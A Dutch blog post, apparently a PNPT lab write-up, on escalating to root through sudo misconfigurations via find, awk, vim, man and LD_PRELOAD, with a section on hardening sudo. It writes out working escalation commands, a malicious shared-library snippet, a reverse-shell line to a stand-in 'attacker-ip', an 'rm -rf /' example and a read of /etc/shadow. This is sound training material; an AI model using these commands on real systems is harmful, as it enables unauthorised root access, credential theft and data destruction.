Van Password Hunting naar Root Shell: Een Praktische Sudo Privilege Escalation Case Study

Tijdens een recente penetratietest in mijn PNPT lab omgeving stuitte ik op een perfect voorbeeld van hoe een simpele sudo misconfiguratie kan leiden tot volledige systeemcompromittering. Deze case study toont niet alleen de praktische uitvoering, maar legt ook de onderliggende technische mechanismen uit die elke penetratietester moet begrijpen.

De Ontdekking: Automatische Enumeratie Leidt tot Goud

Het begon allemaal met een standaard enumeratie na het verkrijgen van initiële toegang als gebruiker TCM. In plaats van handmatig door bestanden te zoeken, besloot ik mijn geautomatiseerde password hunting script in te zetten. Deze tool heb ik speciaal ontwikkeld voor PNPT voorbereiding en te downloaden op Github.

TCM@debian:/tmp$ ./pnpt_password_hunter.sh

Binnen enkele seconden onthulde het script meer dan alleen wachtwoorden. Het belangrijkste onderdeel van de output was niet een weggeschreven wachtwoord, maar deze cruciale informatie:

[*] Current User Context:
User: TCM
UID: 1000
Groups: user cdrom floppy audio dip video plugdev
Sudo privileges:
  Matching Defaults entries for TCM on this host:
      env_reset, env_keep+=LD_PRELOAD

  User TCM may run the following commands on this host:
      (root) NOPASSWD: /usr/sbin/iftop
      (root) NOPASSWD: /usr/bin/find
      (root) NOPASSWD: /usr/bin/nano
      (root) NOPASSWD: /usr/bin/vim
      (root) NOPASSWD: /usr/bin/man
      (root) NOPASSWD: /usr/bin/awk

Jackpot. Dit was niet zomaar een misconfiguratie, maar een privilege escalation snelweg.

De Exploitatie: GTFOBins in Actie

Met de kennis dat find zonder wachtwoord als root uitgevoerd kon worden, was de volgende stap duidelijk. GTFOBins documenteert precies hoe verschillende Unix-utilities misbruikt kunnen worden voor privilege escalation.

TCM@debian:/tmp$ sudo find /etc -name "passwd" -exec /bin/bash \;
root@debian:/tmp#

En zo simpel was het. Van gewone gebruiker naar root shell in één commando.

Maar Waarom Werkt Dit Zo Direct?

Deze vraag raakt de kern van hoe Unix process privileges werken; een concept dat essentieel is voor elke penetratietester.

Process Privilege Inheritance

Wanneer je sudo find /etc -name "passwd" -exec /bin/bash \; uitvoert, gebeurt er het volgende:

  1. Sudo Elevatie: Het sudo systeem verheft het find commando naar root privileges
  2. Process Uitvoering: Find draait nu als UID 0 (root)
  3. Child Process Overerving: Find’s -exec parameter start /bin/bash als child process
  4. Privilege Overdracht: Bash erft de root privileges van zijn parent process (find)

Visueel overzicht: privilege inheritance

gebruiker (UID 1000)
└─ sudo
   └─ find (UID 0 / root)
      └─ /bin/bash (UID 0 / root)

Elke child process erft de privileges van zijn parent process. Omdat find via sudo als root wordt uitgevoerd, draait de via -exec gestarte shell automatisch met root-rechten.

Het Gevaar van -exec

De -exec parameter van find is ontworpen om commando’s uit te voeren op gevonden bestanden. Wat administrators vaak over het hoofd zien, is dat deze commando’s draaien met dezelfde privileges als het find proces zelf.

# Veilig voorbeeld (wat admin bedoelde):
sudo find /etc -name "*.conf" -exec cat {} \;

# Gevaarlijke realiteit (wat aanvaller kan doen):
sudo find /etc -name "anything" -exec /bin/bash \;
sudo find /etc -name "anything" -exec rm -rf / \;
sudo find /etc -name "anything" -exec nc -e /bin/bash attacker-ip 4444 \;

Meerdere Aanvalsvectoren

Deze sudo configuratie bood niet één, maar meerdere privilege escalation paden:

1. Find Commando (Gebruikt)

sudo find /etc -name "passwd" -exec /bin/bash \;

2. AWK Programmering

sudo awk 'BEGIN {system("/bin/bash")}'

3. Teksteditors (Vim/Nano)

# Vim shell escape:
sudo vim -c ':shell'

# Of in vim command mode:
:!bash

4. Man Page Viewer

sudo man ls
# In less pager, type: !bash

5. LD_PRELOAD Environment Injectie

Het meest geavanceerd, maar ook het meest interessant:

# Creëer kwaadaardige shared library:
echo 'void _init() { setuid(0); system("/bin/bash"); }' > /tmp/pe.c
gcc -shared -fPIC -nostartfiles -o /tmp/pe.so /tmp/pe.c

# Exploit elk sudo commando:
sudo LD_PRELOAD=/tmp/pe.so find /etc -name "test"

Examennota (PNPT-context)
Deze techniek werkt in dit specifieke scenario uitsluitend omdat LD_PRELOAD expliciet is toegestaan via env_keep in de sudo-configuratie. Op de meeste Linux-systemen wordt LD_PRELOAD standaard gefilterd door sudo en is deze aanvalsvector niet beschikbaar.

Zie deze methode daarom als contextafhankelijk en niet als een universele sudo privilege escalation techniek. Tijdens examens is het belangrijk om dit onderscheid te herkennen en te kunnen uitleggen waarom het hier wél werkt.

Verdediging in de Diepte: Waarom Dit Fout Ging

Het Administrator Perspectief

Waarschijnlijk wilde de administrator nuttige tools beschikbaar maken voor troubleshooting:

# Netwerkmonitoring
(root) NOPASSWD: /usr/sbin/iftop

# Bestanden zoeken  
(root) NOPASSWD: /usr/bin/find

# Tekst bewerken
(root) NOPASSWD: /usr/bin/nano, /usr/bin/vim

# Documentatie
(root) NOPASSWD: /usr/bin/man

Op papier lijken dit redelijke tools voor een technische gebruiker.

Wat Er Mis Ging

De administrator begreep niet dat deze tools programmeerbare interfaces zijn die willekeurige commandouitvoering toestaan. In beveiligingstermen zijn dit “living off the land” binaries – legitieme systeemtools die misbruikt kunnen worden voor kwaadaardige doeleinden.

Veilige Sudo Configuratie

Principe van Minimale Privileges

In plaats van brede tool toegang, zou de configuratie specifiek moeten zijn:

# SLECHT - Te permissief:
TCM ALL=(root) NOPASSWD: /usr/bin/find

# BETER - Beperkte parameters:
TCM ALL=(root) NOPASSWD: /usr/bin/find /var/log -name "*.log" -type f

# BEST - Wrapper script:
TCM ALL=(root) NOPASSWD: /usr/local/bin/secure-log-finder

Verdedigingsmechanismen

  1. Commando Beperkingen: Limiteer parameters en paden
  2. Wrapper Scripts: Gebruik aangepaste scripts in plaats van systeem binaries
  3. Audit Logging: Log alle sudo gebruik
  4. Reguliere Review: Controleer sudo configuraties regelmatig
  5. GTFOBins Bewustzijn: Train administrators in gevaarlijke sudo toewijzingen

PNPT Examen Implicaties

Wat Deze Case Study Leert

  1. Geautomatiseerde Enumeratie: Scripts zoals mijn password hunter vinden meer dan wachtwoorden
  2. GTFOBins Kennis: Essentiële resource voor privilege escalation
  3. Technisch Begrip: Weten waarom exploits werken, niet alleen hoe
  4. Documentatie: Begrijp sudo mechanismen voor accurate rapportage

Methodologie Voor Examens

# 1. Geautomatiseerde Enumeratie
./pnpt_password_hunter.sh --quick

# 2. Sudo Beoordeling  
sudo -l

# 3. GTFOBins Opzoeken
# Check https://gtfobins.github.io/ voor elke toegestane opdracht

# 4. Exploitatie
# Gebruik eenvoudigste beschikbare methode

# 5. Post-Exploitatie
whoami && id

Tools en Bronnen

Handige Scripts Voor PNPT

  • Password Hunter: Geautomatiseerde credential en privilege ontdekking
  • GTFOBins: Online database van privilege escalation technieken
  • LinPEAS/LSE: Uitgebreide Linux enumeratie tools

Handmatige Verificatie Commando’s

# Test privilege escalation:
sudo find /etc -name "passwd" -exec whoami \;
sudo find /etc -name "passwd" -exec id \;

# Verifieer root toegang:
sudo find /etc -name "passwd" -exec cat /etc/shadow \;

Verdieping

Het password-hunting script dat in deze case study wordt gebruikt, is beschikbaar op GitHub als ondersteunende helper binnen een manual-first PNPT-workflow. In een aparte blogpost ga ik verder in op de opzet, gemaakte keuzes en beperkingen van geautomatiseerde credential discovery binnen een PNPT-gerichte workflow.

Conclusie: Van Methodologie naar Meesterschap

Deze case study illustreert waarom systematische enumeratie zo krachtig is. Door geautomatiseerde tooling te combineren met diepgaande technische kennis, transformeerde een simpele sudo misconfiguratie in minuten naar volledige systeemcompromittering.

Voor PNPT kandidaten is dit een perfecte demonstratie van de methodologie die TCM Security predikt: enumereer grondig, begrijp diep, exploit systematisch.

Het verschil tussen een script kiddie en een professionele penetratietester ligt niet in welke tools ze gebruiken, maar in hun begrip van de onderliggende systemen en hun vermogen om die kennis methodisch toe te passen.

Belangrijkste Lessen

  1. Onderschat sudo misconfigurations nooit – het zijn goudmijnen voor privilege escalation
  2. Geautomatiseerde enumeratie tools zijn krachtvermenigvuldigers, geen snelkoppelingen
  3. Begrip van process overerving is cruciaal voor Unix beveiligingsbeoordeling
  4. GTFOBins kennis is essentieel voor elke serieuze penetratietester
  5. Verdediging vereist begrip van aanval – administrators moeten denken zoals aanvallers

De volgende keer dat je sudo -l uitvoert en een lange lijst van NOPASSWD commando’s ziet, denk dan aan deze case study. Elk van die entries kan potentieel je ticket naar root privileges zijn.

Laat een reactie achter

Je e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *

Get A Quote
Get A Quote